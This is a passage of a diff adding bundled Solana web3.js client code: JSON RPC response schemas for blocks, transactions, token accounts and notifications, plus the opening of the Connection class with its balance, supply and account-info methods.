createRpcBatchRequest(client) { + return requests => { + return new Promise((resolve, reject) => { + // Do nothing if requests is empty + if (requests.length === 0) resolve([]); + const batch = requests.map(params => { + return client.request(params.methodName, params.args); + }); + client.request(batch, (err, response) => { + if (err) { + reject(err); + return; + } + resolve(response); + }); + }); + }; +} + +/** + * Expected JSON RPC response for the "getInflationGovernor" message + */ +const GetInflationGovernorRpcResult = jsonRpcResult(GetInflationGovernorResult); + +/** + * Expected JSON RPC response for the "getInflationRate" message + */ +const GetInflationRateRpcResult = jsonRpcResult(GetInflationRateResult); + +/** + * Expected JSON RPC response for the "getRecentPrioritizationFees" message + */ +const GetRecentPrioritizationFeesRpcResult = jsonRpcResult(GetRecentPrioritizationFeesResult); + +/** + * Expected JSON RPC response for the "getEpochInfo" message + */ +const GetEpochInfoRpcResult = jsonRpcResult(GetEpochInfoResult); + +/** + * Expected JSON RPC response for the "getEpochSchedule" message + */ +const GetEpochScheduleRpcResult = jsonRpcResult(GetEpochScheduleResult); + +/** + * Expected JSON RPC response for the "getLeaderSchedule" message + */ +const GetLeaderScheduleRpcResult = jsonRpcResult(GetLeaderScheduleResult); + +/** + * Expected JSON RPC response for the "minimumLedgerSlot" and "getFirstAvailableBlock" messages + */ +const SlotRpcResult = jsonRpcResult(number()); + +/** + * Supply + */ + +/** + * Expected JSON RPC response for the "getSupply" message + */ +const GetSupplyRpcResult = jsonRpcResultAndContext(type({ + total: number(), + circulating: number(), + nonCirculating: number(), + nonCirculatingAccounts: array(PublicKeyFromString) +})); + +/** + * Token amount object which returns a token amount in different formats + * for various client use cases. + */ + +/** + * Expected JSON RPC structure for token amounts + */ +const TokenAmountResult = type({ + amount: string(), + uiAmount: nullable(number()), + decimals: number(), + uiAmountString: optional(string()) +}); + +/** + * Token address and balance. + */ + +/** + * Expected JSON RPC response for the "getTokenLargestAccounts" message + */ +const GetTokenLargestAccountsResult = jsonRpcResultAndContext(array(type({ + address: PublicKeyFromString, + amount: string(), + uiAmount: nullable(number()), + decimals: number(), + uiAmountString: optional(string()) +}))); + +/** + * Expected JSON RPC response for the "getTokenAccountsByOwner" message + */ +const GetTokenAccountsByOwner = jsonRpcResultAndContext(array(type({ + pubkey: PublicKeyFromString, + account: type({ + executable: boolean(), + owner: PublicKeyFromString, + lamports: number(), + data: BufferFromRawAccountData, + rentEpoch: number() + }) +}))); +const ParsedAccountDataResult = type({ + program: string(), + parsed: unknown(), + space: number() +}); + +/** + * Expected JSON RPC response for the "getTokenAccountsByOwner" message with parsed data + */ +const GetParsedTokenAccountsByOwner = jsonRpcResultAndContext(array(type({ + pubkey: PublicKeyFromString, + account: type({ + executable: boolean(), + owner: PublicKeyFromString, + lamports: number(), + data: ParsedAccountDataResult, + rentEpoch: number() + }) +}))); + +/** + * Pair of an account address and its balance + */ + +/** + * Expected JSON RPC response for the "getLargestAccounts" message + */ +const GetLargestAccountsRpcResult = jsonRpcResultAndContext(array(type({ + lamports: number(), + address: PublicKeyFromString +}))); + +/** + * @internal + */ +const AccountInfoResult = type({ + executable: boolean(), + owner: PublicKeyFromString, + lamports: number(), + data: BufferFromRawAccountData, + rentEpoch: number() +}); + +/** + * @internal + */ +const KeyedAccountInfoResult = type({ + pubkey: PublicKeyFromString, + account: AccountInfoResult +}); +const ParsedOrRawAccountData = coerce(union([instance(Buffer), ParsedAccountDataResult]), union([RawAccountDataResult, ParsedAccountDataResult]), value => { + if (Array.isArray(value)) { + return create(value, BufferFromRawAccountData); + } else { + return value; + } +}); + +/** + * @internal + */ +const ParsedAccountInfoResult = type({ + executable: boolean(), + owner: PublicKeyFromString, + lamports: number(), + data: ParsedOrRawAccountData, + rentEpoch: number() +}); +const KeyedParsedAccountInfoResult = type({ + pubkey: PublicKeyFromString, + account: ParsedAccountInfoResult +}); + +/** + * @internal + */ +const StakeActivationResult = type({ + state: union([literal('active'), literal('inactive'), literal('activating'), literal('deactivating')]), + active: number(), + inactive: number() +}); + +/** + * Expected JSON RPC response for the "getConfirmedSignaturesForAddress2" message + */ + +const GetConfirmedSignaturesForAddress2RpcResult = jsonRpcResult(array(type({ + signature: string(), + slot: number(), + err: TransactionErrorResult, + memo: nullable(string()), + blockTime: optional(nullable(number())) +}))); + +/** + * Expected JSON RPC response for the "getSignaturesForAddress" message + */ +const GetSignaturesForAddressRpcResult = jsonRpcResult(array(type({ + signature: string(), + slot: number(), + err: TransactionErrorResult, + memo: nullable(string()), + blockTime: optional(nullable(number())) +}))); + +/*** + * Expected JSON RPC response for the "accountNotification" message + */ +const AccountNotificationResult = type({ + subscription: number(), + result: notificationResultAndContext(AccountInfoResult) +}); + +/** + * @internal + */ +const ProgramAccountInfoResult = type({ + pubkey: PublicKeyFromString, + account: AccountInfoResult +}); + +/*** + * Expected JSON RPC response for the "programNotification" message + */ +const ProgramAccountNotificationResult = type({ + subscription: number(), + result: notificationResultAndContext(ProgramAccountInfoResult) +}); + +/** + * @internal + */ +const SlotInfoResult = type({ + parent: number(), + slot: number(), + root: number() +}); + +/** + * Expected JSON RPC response for the "slotNotification" message + */ +const SlotNotificationResult = type({ + subscription: number(), + result: SlotInfoResult +}); + +/** + * Slot updates which can be used for tracking the live progress of a cluster. + * - `"firstShredReceived"`: connected node received the first shred of a block. + * Indicates that a new block that is being produced. + * - `"completed"`: connected node has received all shreds of a block. Indicates + * a block was recently produced. + * - `"optimisticConfirmation"`: block was optimistically confirmed by the + * cluster. It is not guaranteed that an optimistic confirmation notification + * will be sent for every finalized blocks. + * - `"root"`: the connected node rooted this block. + * - `"createdBank"`: the connected node has started validating this block. + * - `"frozen"`: the connected node has validated this block. + * - `"dead"`: the connected node failed to validate this block. + */ + +/** + * @internal + */ +const SlotUpdateResult = union([type({ + type: union([literal('firstShredReceived'), literal('completed'), literal('optimisticConfirmation'), literal('root')]), + slot: number(), + timestamp: number() +}), type({ + type: literal('createdBank'), + parent: number(), + slot: number(), + timestamp: number() +}), type({ + type: literal('frozen'), + slot: number(), + timestamp: number(), + stats: type({ + numTransactionEntries: number(), + numSuccessfulTransactions: number(), + numFailedTransactions: number(), + maxTransactionsPerEntry: number() + }) +}), type({ + type: literal('dead'), + slot: number(), + timestamp: number(), + err: string() +})]); + +/** + * Expected JSON RPC response for the "slotsUpdatesNotification" message + */ +const SlotUpdateNotificationResult = type({ + subscription: number(), + result: SlotUpdateResult +}); + +/** + * Expected JSON RPC response for the "signatureNotification" message + */ +const SignatureNotificationResult = type({ + subscription: number(), + result: notificationResultAndContext(union([SignatureStatusResult, SignatureReceivedResult])) +}); + +/** + * Expected JSON RPC response for the "rootNotification" message + */ +const RootNotificationResult = type({ + subscription: number(), + result: number() +}); +const ContactInfoResult = type({ + pubkey: string(), + gossip: nullable(string()), + tpu: nullable(string()), + rpc: nullable(string()), + version: nullable(string()) +}); +const VoteAccountInfoResult = type({ + votePubkey: string(), + nodePubkey: string(), + activatedStake: number(), + epochVoteAccount: boolean(), + epochCredits: array(tuple([number(), number(), number()])), + commission: number(), + lastVote: number(), + rootSlot: nullable(number()) +}); + +/** + * Expected JSON RPC response for the "getVoteAccounts" message + */ +const GetVoteAccounts = jsonRpcResult(type({ + current: array(VoteAccountInfoResult), + delinquent: array(VoteAccountInfoResult) +})); +const ConfirmationStatus = union([literal('processed'), literal('confirmed'), literal('finalized')]); +const SignatureStatusResponse = type({ + slot: number(), + confirmations: nullable(number()), + err: TransactionErrorResult, + confirmationStatus: optional(ConfirmationStatus) +}); + +/** + * Expected JSON RPC response for the "getSignatureStatuses" message + */ +const GetSignatureStatusesRpcResult = jsonRpcResultAndContext(array(nullable(SignatureStatusResponse))); + +/** + * Expected JSON RPC response for the "getMinimumBalanceForRentExemption" message + */ +const GetMinimumBalanceForRentExemptionRpcResult = jsonRpcResult(number()); +const AddressTableLookupStruct = type({ + accountKey: PublicKeyFromString, + writableIndexes: array(number()), + readonlyIndexes: array(number()) +}); +const ConfirmedTransactionResult = type({ + signatures: array(string()), + message: type({ + accountKeys: array(string()), + header: type({ + numRequiredSignatures: number(), + numReadonlySignedAccounts: number(), + numReadonlyUnsignedAccounts: number() + }), + instructions: array(type({ + accounts: array(number()), + data: string(), + programIdIndex: number() + })), + recentBlockhash: string(), + addressTableLookups: optional(array(AddressTableLookupStruct)) + }) +}); +const AnnotatedAccountKey = type({ + pubkey: PublicKeyFromString, + signer: boolean(), + writable: boolean(), + source: optional(union([literal('transaction'), literal('lookupTable')])) +}); +const ConfirmedTransactionAccountsModeResult = type({ + accountKeys: array(AnnotatedAccountKey), + signatures: array(string()) +}); +const ParsedInstructionResult = type({ + parsed: unknown(), + program: string(), + programId: PublicKeyFromString +}); +const RawInstructionResult = type({ + accounts: array(PublicKeyFromString), + data: string(), + programId: PublicKeyFromString +}); +const InstructionResult = union([RawInstructionResult, ParsedInstructionResult]); +const UnknownInstructionResult = union([type({ + parsed: unknown(), + program: string(), + programId: string() +}), type({ + accounts: array(string()), + data: string(), + programId: string() +})]); +const ParsedOrRawInstruction = coerce(InstructionResult, UnknownInstructionResult, value => { + if ('accounts' in value) { + return create(value, RawInstructionResult); + } else { + return create(value, ParsedInstructionResult); + } +}); + +/** + * @internal + */ +const ParsedConfirmedTransactionResult = type({ + signatures: array(string()), + message: type({ + accountKeys: array(AnnotatedAccountKey), + instructions: array(ParsedOrRawInstruction), + recentBlockhash: string(), + addressTableLookups: optional(nullable(array(AddressTableLookupStruct))) + }) +}); +const TokenBalanceResult = type({ + accountIndex: number(), + mint: string(), + owner: optional(string()), + programId: optional(string()), + uiTokenAmount: TokenAmountResult +}); +const LoadedAddressesResult = type({ + writable: array(PublicKeyFromString), + readonly: array(PublicKeyFromString) +}); + +/** + * @internal + */ +const ConfirmedTransactionMetaResult = type({ + err: TransactionErrorResult, + fee: number(), + innerInstructions: optional(nullable(array(type({ + index: number(), + instructions: array(type({ + accounts: array(number()), + data: string(), + programIdIndex: number() + })) + })))), + preBalances: array(number()), + postBalances: array(number()), + logMessages: optional(nullable(array(string()))), + preTokenBalances: optional(nullable(array(TokenBalanceResult))), + postTokenBalances: optional(nullable(array(TokenBalanceResult))), + loadedAddresses: optional(LoadedAddressesResult), + computeUnitsConsumed: optional(number()) +}); + +/** + * @internal + */ +const ParsedConfirmedTransactionMetaResult = type({ + err: TransactionErrorResult, + fee: number(), + innerInstructions: optional(nullable(array(type({ + index: number(), + instructions: array(ParsedOrRawInstruction) + })))), + preBalances: array(number()), + postBalances: array(number()), + logMessages: optional(nullable(array(string()))), + preTokenBalances: optional(nullable(array(TokenBalanceResult))), + postTokenBalances: optional(nullable(array(TokenBalanceResult))), + loadedAddresses: optional(LoadedAddressesResult), + computeUnitsConsumed: optional(number()) +}); +const TransactionVersionStruct = union([literal(0), literal('legacy')]); + +/** @internal */ +const RewardsResult = type({ + pubkey: string(), + lamports: number(), + postBalance: nullable(number()), + rewardType: nullable(string()), + commission: optional(nullable(number())) +}); + +/** + * Expected JSON RPC response for the "getBlock" message + */ +const GetBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + transactions: array(type({ + transaction: ConfirmedTransactionResult, + meta: nullable(ConfirmedTransactionMetaResult), + version: optional(TransactionVersionStruct) + })), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected JSON RPC response for the "getBlock" message when `transactionDetails` is `none` + */ +const GetNoneModeBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected JSON RPC response for the "getBlock" message when `transactionDetails` is `accounts` + */ +const GetAccountsModeBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + transactions: array(type({ + transaction: ConfirmedTransactionAccountsModeResult, + meta: nullable(ConfirmedTransactionMetaResult), + version: optional(TransactionVersionStruct) + })), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected parsed JSON RPC response for the "getBlock" message + */ +const GetParsedBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + transactions: array(type({ + transaction: ParsedConfirmedTransactionResult, + meta: nullable(ParsedConfirmedTransactionMetaResult), + version: optional(TransactionVersionStruct) + })), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected parsed JSON RPC response for the "getBlock" message when `transactionDetails` is `accounts` + */ +const GetParsedAccountsModeBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + transactions: array(type({ + transaction: ConfirmedTransactionAccountsModeResult, + meta: nullable(ParsedConfirmedTransactionMetaResult), + version: optional(TransactionVersionStruct) + })), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected parsed JSON RPC response for the "getBlock" message when `transactionDetails` is `none` + */ +const GetParsedNoneModeBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()), + blockHeight: nullable(number()) +}))); + +/** + * Expected JSON RPC response for the "getConfirmedBlock" message + * + * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetBlockRpcResult} instead. + */ +const GetConfirmedBlockRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + transactions: array(type({ + transaction: ConfirmedTransactionResult, + meta: nullable(ConfirmedTransactionMetaResult) + })), + rewards: optional(array(RewardsResult)), + blockTime: nullable(number()) +}))); + +/** + * Expected JSON RPC response for the "getBlock" message + */ +const GetBlockSignaturesRpcResult = jsonRpcResult(nullable(type({ + blockhash: string(), + previousBlockhash: string(), + parentSlot: number(), + signatures: array(string()), + blockTime: nullable(number()) +}))); + +/** + * Expected JSON RPC response for the "getTransaction" message + */ +const GetTransactionRpcResult = jsonRpcResult(nullable(type({ + slot: number(), + meta: nullable(ConfirmedTransactionMetaResult), + blockTime: optional(nullable(number())), + transaction: ConfirmedTransactionResult, + version: optional(TransactionVersionStruct) +}))); + +/** + * Expected parsed JSON RPC response for the "getTransaction" message + */ +const GetParsedTransactionRpcResult = jsonRpcResult(nullable(type({ + slot: number(), + transaction: ParsedConfirmedTransactionResult, + meta: nullable(ParsedConfirmedTransactionMetaResult), + blockTime: optional(nullable(number())), + version: optional(TransactionVersionStruct) +}))); + +/** + * Expected JSON RPC response for the "getRecentBlockhash" message + * + * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetLatestBlockhashRpcResult} instead. + */ +const GetRecentBlockhashAndContextRpcResult = jsonRpcResultAndContext(type({ + blockhash: string(), + feeCalculator: type({ + lamportsPerSignature: number() + }) +})); + +/** + * Expected JSON RPC response for the "getLatestBlockhash" message + */ +const GetLatestBlockhashRpcResult = jsonRpcResultAndContext(type({ + blockhash: string(), + lastValidBlockHeight: number() +})); + +/** + * Expected JSON RPC response for the "isBlockhashValid" message + */ +const IsBlockhashValidRpcResult = jsonRpcResultAndContext(boolean()); +const PerfSampleResult = type({ + slot: number(), + numTransactions: number(), + numSlots: number(), + samplePeriodSecs: number() +}); + +/* + * Expected JSON RPC response for "getRecentPerformanceSamples" message + */ +const GetRecentPerformanceSamplesRpcResult = jsonRpcResult(array(PerfSampleResult)); + +/** + * Expected JSON RPC response for the "getFeeCalculatorForBlockhash" message + */ +const GetFeeCalculatorRpcResult = jsonRpcResultAndContext(nullable(type({ + feeCalculator: type({ + lamportsPerSignature: number() + }) +}))); + +/** + * Expected JSON RPC response for the "requestAirdrop" message + */ +const RequestAirdropRpcResult = jsonRpcResult(string()); + +/** + * Expected JSON RPC response for the "sendTransaction" message + */ +const SendTransactionRpcResult = jsonRpcResult(string()); + +/** + * Information about the latest slot being processed by a node + */ + +/** + * Parsed account data + */ + +/** + * Stake Activation data + */ + +/** + * Data slice argument for getProgramAccounts + */ + +/** + * Memory comparison filter for getProgramAccounts + */ + +/** + * Data size comparison filter for getProgramAccounts + */ + +/** + * A filter object for getProgramAccounts + */ + +/** + * Configuration object for getProgramAccounts requests + */ + +/** + * Configuration object for getParsedProgramAccounts + */ + +/** + * Configuration object for getMultipleAccounts + */ + +/** + * Configuration object for `getStakeActivation` + */ + +/** + * Configuration object for `getStakeActivation` + */ + +/** + * Configuration object for `getStakeActivation` + */ + +/** + * Configuration object for `getNonce` + */ + +/** + * Configuration object for `getNonceAndContext` + */ + +/** + * Information describing an account + */ + +/** + * Account information identified by pubkey + */ + +/** + * Callback function for account change notifications + */ + +/** + * Callback function for program account change notifications + */ + +/** + * Callback function for slot change notifications + */ + +/** + * Callback function for slot update notifications + */ + +/** + * Callback function for signature status notifications + */ + +/** + * Signature status notification with transaction result + */ + +/** + * Signature received notification + */ + +/** + * Callback function for signature notifications + */ + +/** + * Signature subscription options + */ + +/** + * Callback function for root change notifications + */ + +/** + * @internal + */ +const LogsResult = type({ + err: TransactionErrorResult, + logs: array(string()), + signature: string() +}); + +/** + * Logs result. + */ + +/** + * Expected JSON RPC response for the "logsNotification" message. + */ +const LogsNotificationResult = type({ + result: notificationResultAndContext(LogsResult), + subscription: number() +}); + +/** + * Filter for log subscriptions. + */ + +/** + * Callback function for log notifications. + */ + +/** + * Signature result + */ + +/** + * Transaction error + */ + +/** + * Transaction confirmation status + *
+ *   'processed': Transaction landed in a block which has reached 1 confirmation by the connected node
+ *   'confirmed': Transaction landed in a block which has reached 1 confirmation by the cluster
+ *   'finalized': Transaction landed in a block which has been finalized by the cluster
+ * 
+ */ + +/** + * Signature status + */ + +/** + * A confirmed signature with its status + */ + +/** + * An object defining headers to be passed to the RPC server + */ + +/** + * The type of the JavaScript `fetch()` API + */ + +/** + * A callback used to augment the outgoing HTTP request + */ + +/** + * Configuration for instantiating a Connection + */ + +/** @internal */ +const COMMON_HTTP_HEADERS = { + 'solana-client': `js/${"1.95.8"}` +}; + +/** + * A connection to a fullnode JSON RPC endpoint + */ +class Connection { + /** + * Establish a JSON RPC connection + * + * @param endpoint URL to the fullnode JSON RPC endpoint + * @param commitmentOrConfig optional default commitment level or optional ConnectionConfig configuration object + */ + constructor(endpoint, _commitmentOrConfig) { + /** @internal */ + this._commitment = void 0; + /** @internal */ + this._confirmTransactionInitialTimeout = void 0; + /** @internal */ + this._rpcEndpoint = void 0; + /** @internal */ + this._rpcWsEndpoint = void 0; + /** @internal */ + this._rpcClient = void 0; + /** @internal */ + this._rpcRequest = void 0; + /** @internal */ + this._rpcBatchRequest = void 0; + /** @internal */ + this._rpcWebSocket = void 0; + /** @internal */ + this._rpcWebSocketConnected = false; + /** @internal */ + this._rpcWebSocketHeartbeat = null; + /** @internal */ + this._rpcWebSocketIdleTimeout = null; + /** @internal + * A number that we increment every time an active connection closes. + * Used to determine whether the same socket connection that was open + * when an async operation started is the same one that's active when + * its continuation fires. + * + */ + this._rpcWebSocketGeneration = 0; + /** @internal */ + this._disableBlockhashCaching = false; + /** @internal */ + this._pollingBlockhash = false; + /** @internal */ + this._blockhashInfo = { + latestBlockhash: null, + lastFetch: 0, + transactionSignatures: [], + simulatedSignatures: [] + }; + /** @internal */ + this._nextClientSubscriptionId = 0; + /** @internal */ + this._subscriptionDisposeFunctionsByClientSubscriptionId = {}; + /** @internal */ + this._subscriptionHashByClientSubscriptionId = {}; + /** @internal */ + this._subscriptionStateChangeCallbacksByHash = {}; + /** @internal */ + this._subscriptionCallbacksByServerSubscriptionId = {}; + /** @internal */ + this._subscriptionsByHash = {}; + /** + * Special case. + * After a signature is processed, RPCs automatically dispose of the + * subscription on the server side. We need to track which of these + * subscriptions have been disposed in such a way, so that we know + * whether the client is dealing with a not-yet-processed signature + * (in which case we must tear down the server subscription) or an + * already-processed signature (in which case the client can simply + * clear out the subscription locally without telling the server). + * + * NOTE: There is a proposal to eliminate this special case, here: + * https://github.com/solana-labs/solana/issues/18892 + */ + /** @internal */ + this._subscriptionsAutoDisposedByRpc = new Set(); + /* + * Returns the current block height of the node + */ + this.getBlockHeight = (() => { + const requestPromises = {}; + return async commitmentOrConfig => { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const requestHash = fastStableStringify(args); + requestPromises[requestHash] = requestPromises[requestHash] ?? (async () => { + try { + const unsafeRes = await this._rpcRequest('getBlockHeight', args); + const res = create(unsafeRes, jsonRpcResult(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get block height information'); + } + return res.result; + } finally { + delete requestPromises[requestHash]; + } + })(); + return await requestPromises[requestHash]; + }; + })(); + let wsEndpoint; + let httpHeaders; + let fetch; + let fetchMiddleware; + let disableRetryOnRateLimit; + let httpAgent; + if (_commitmentOrConfig && typeof _commitmentOrConfig === 'string') { + this._commitment = _commitmentOrConfig; + } else if (_commitmentOrConfig) { + this._commitment = _commitmentOrConfig.commitment; + this._confirmTransactionInitialTimeout = _commitmentOrConfig.confirmTransactionInitialTimeout; + wsEndpoint = _commitmentOrConfig.wsEndpoint; + httpHeaders = _commitmentOrConfig.httpHeaders; + fetch = _commitmentOrConfig.fetch; + fetchMiddleware = _commitmentOrConfig.fetchMiddleware; + disableRetryOnRateLimit = _commitmentOrConfig.disableRetryOnRateLimit; + httpAgent = _commitmentOrConfig.httpAgent; + } + this._rpcEndpoint = assertEndpointUrl(endpoint); + this._rpcWsEndpoint = wsEndpoint || makeWebsocketUrl(endpoint); + this._rpcClient = createRpcClient(endpoint, httpHeaders, fetch, fetchMiddleware, disableRetryOnRateLimit, httpAgent); + this._rpcRequest = createRpcRequest(this._rpcClient); + this._rpcBatchRequest = createRpcBatchRequest(this._rpcClient); + this._rpcWebSocket = new RpcWebSocketClient(this._rpcWsEndpoint, { + autoconnect: false, + max_reconnects: Infinity + }); + this._rpcWebSocket.on('open', this._wsOnOpen.bind(this)); + this._rpcWebSocket.on('error', this._wsOnError.bind(this)); + this._rpcWebSocket.on('close', this._wsOnClose.bind(this)); + this._rpcWebSocket.on('accountNotification', this._wsOnAccountNotification.bind(this)); + this._rpcWebSocket.on('programNotification', this._wsOnProgramAccountNotification.bind(this)); + this._rpcWebSocket.on('slotNotification', this._wsOnSlotNotification.bind(this)); + this._rpcWebSocket.on('slotsUpdatesNotification', this._wsOnSlotUpdatesNotification.bind(this)); + this._rpcWebSocket.on('signatureNotification', this._wsOnSignatureNotification.bind(this)); + this._rpcWebSocket.on('rootNotification', this._wsOnRootNotification.bind(this)); + this._rpcWebSocket.on('logsNotification', this._wsOnLogsNotification.bind(this)); + } + + /** + * The default commitment used for requests + */ + get commitment() { + return this._commitment; + } + + /** + * The RPC endpoint + */ + get rpcEndpoint() { + return this._rpcEndpoint; + } + + /** + * Fetch the balance for the specified public key, return with context + */ + async getBalanceAndContext(publicKey, commitmentOrConfig) { + /** @internal */ + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([publicKey.toBase58()], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getBalance', args); + const res = create(unsafeRes, jsonRpcResultAndContext(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get balance for ${publicKey.toBase58()}`); + } + return res.result; + } + + /** + * Fetch the balance for the specified public key + */ + async getBalance(publicKey, commitmentOrConfig) { + return await this.getBalanceAndContext(publicKey, commitmentOrConfig).then(x => x.value).catch(e => { + throw new Error('failed to get balance of account ' + publicKey.toBase58() + ': ' + e); + }); + } + + /** + * Fetch the estimated production time of a block + */ + async getBlockTime(slot) { + const unsafeRes = await this._rpcRequest('getBlockTime', [slot]); + const res = create(unsafeRes, jsonRpcResult(nullable(number()))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get block time for slot ${slot}`); + } + return res.result; + } + + /** + * Fetch the lowest slot that the node has information about in its ledger. + * This value may increase over time if the node is configured to purge older ledger data + */ + async getMinimumLedgerSlot() { + const unsafeRes = await this._rpcRequest('minimumLedgerSlot', []); + const res = create(unsafeRes, jsonRpcResult(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get minimum ledger slot'); + } + return res.result; + } + + /** + * Fetch the slot of the lowest confirmed block that has not been purged from the ledger + */ + async getFirstAvailableBlock() { + const unsafeRes = await this._rpcRequest('getFirstAvailableBlock', []); + const res = create(unsafeRes, SlotRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get first available block'); + } + return res.result; + } + + /** + * Fetch information about the current supply + */ + async getSupply(config) { + let configArg = {}; + if (typeof config === 'string') { + configArg = { + commitment: config + }; + } else if (config) { + configArg = { + ...config, + commitment: config && config.commitment || this.commitment + }; + } else { + configArg = { + commitment: this.commitment + }; + } + const unsafeRes = await this._rpcRequest('getSupply', [configArg]); + const res = create(unsafeRes, GetSupplyRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get supply'); + } + return res.result; + } + + /** + * Fetch the current supply of a token mint + */ + async getTokenSupply(tokenMintAddress, commitment) { + const args = this._buildArgs([tokenMintAddress.toBase58()], commitment); + const unsafeRes = await this._rpcRequest('getTokenSupply', args); + const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult)); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get token supply'); + } + return res.result; + } + + /** + * Fetch the current balance of a token account + */ + async getTokenAccountBalance(tokenAddress, commitment) { + const args = this._buildArgs([tokenAddress.toBase58()], commitment); + const unsafeRes = await this._rpcRequest('getTokenAccountBalance', args); + const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult)); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get token account balance'); + } + return res.result; + } + + /** + * Fetch all the token accounts owned by the specified account + * + * @return {Promise} + */ + async getTokenAccountsByOwner(ownerAddress, filter, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + let _args = [ownerAddress.toBase58()]; + if ('mint' in filter) { + _args.push({ + mint: filter.mint.toBase58() + }); + } else { + _args.push({ + programId: filter.programId.toBase58() + }); + } + const args = this._buildArgs(_args, commitment, 'base64', config); + const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args); + const res = create(unsafeRes, GetTokenAccountsByOwner); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get token accounts owned by account ${ownerAddress.toBase58()}`); + } + return res.result; + } + + /** + * Fetch parsed token accounts owned by the specified account + * + * @return {Promise}>>>} + */ + async getParsedTokenAccountsByOwner(ownerAddress, filter, commitment) { + let _args = [ownerAddress.toBase58()]; + if ('mint' in filter) { + _args.push({ + mint: filter.mint.toBase58() + }); + } else { + _args.push({ + programId: filter.programId.toBase58() + }); + } + const args = this._buildArgs(_args, commitment, 'jsonParsed'); + const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args); + const res = create(unsafeRes, GetParsedTokenAccountsByOwner); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get token accounts owned by account ${ownerAddress.toBase58()}`); + } + return res.result; + } + + /** + * Fetch the 20 largest accounts with their current balances + */ + async getLargestAccounts(config) { + const arg = { + ...config, + commitment: config && config.commitment || this.commitment + }; + const args = arg.filter || arg.commitment ? [arg] : []; + const unsafeRes = await this._rpcRequest('getLargestAccounts', args); + const res = create(unsafeRes, GetLargestAccountsRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get largest accounts'); + } + return res.result; + } + + /** + * Fetch the 20 largest token accounts with their current balances + * for a given mint. + */ + async getTokenLargestAccounts(mintAddress, commitment) { + const args = this._buildArgs([mintAddress.toBase58()], commitment); + const unsafeRes = await this._rpcRequest('getTokenLargestAccounts', args); + const res = create(unsafeRes, GetTokenLargestAccountsResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get token largest accounts'); + } + return res.result; + } + + /** + * Fetch all the account info for the specified public key, return with context + */ + async getAccountInfoAndContext(publicKey, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([publicKey.toBase58()], commitment, 'base64', config); + const unsafeRes = await this._rpcRequest('getAccountInfo', args); + const res = create(unsafeRes, jsonRpcResultAndContext(nullable(AccountInfoResult))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get info about account ${publicKey.toBase58()}`); + } + return res.result; + } + + /** + * Fetch parsed account info for the specified public key + */ + async getParsedAccountInfo(publicKey, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([publicKey.toBase58()], commitment, 'jsonParsed', config); + const unsafeRes = await this._rpcRequest('getAccountInfo', args); + const res = create(unsafeRes, jsonRpcResultAndContext(nullable(ParsedAccountInfoResult))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get info about account ${publicKey.toBase58()}`); + } + return res.result; + } + + /** + * Fetch all the account info for the specified public key + */ + async getAccountInfo(publicKey, commitmentOrConfig) { + try { + const res = await this.getAccountInfoAndContext(publicKey, commitmentOrConfig); + return res.value; + } catch (e) { + throw new Error('failed to get info about account ' + publicKey.toBase58() + ': ' + e); + } + } + + /** + * Fetch all the account info for multiple accounts specified by an array of public keys, return with context + */ + async getMultipleParsedAccounts(publicKeys, rawConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(rawConfig); + const keys = publicKeys.map(key => key.toBase58()); + const args = this._buildArgs([keys], commitment, 'jsonParsed', config); + const unsafeRes = await this._rpcRequest('getMultipleAccounts', args); 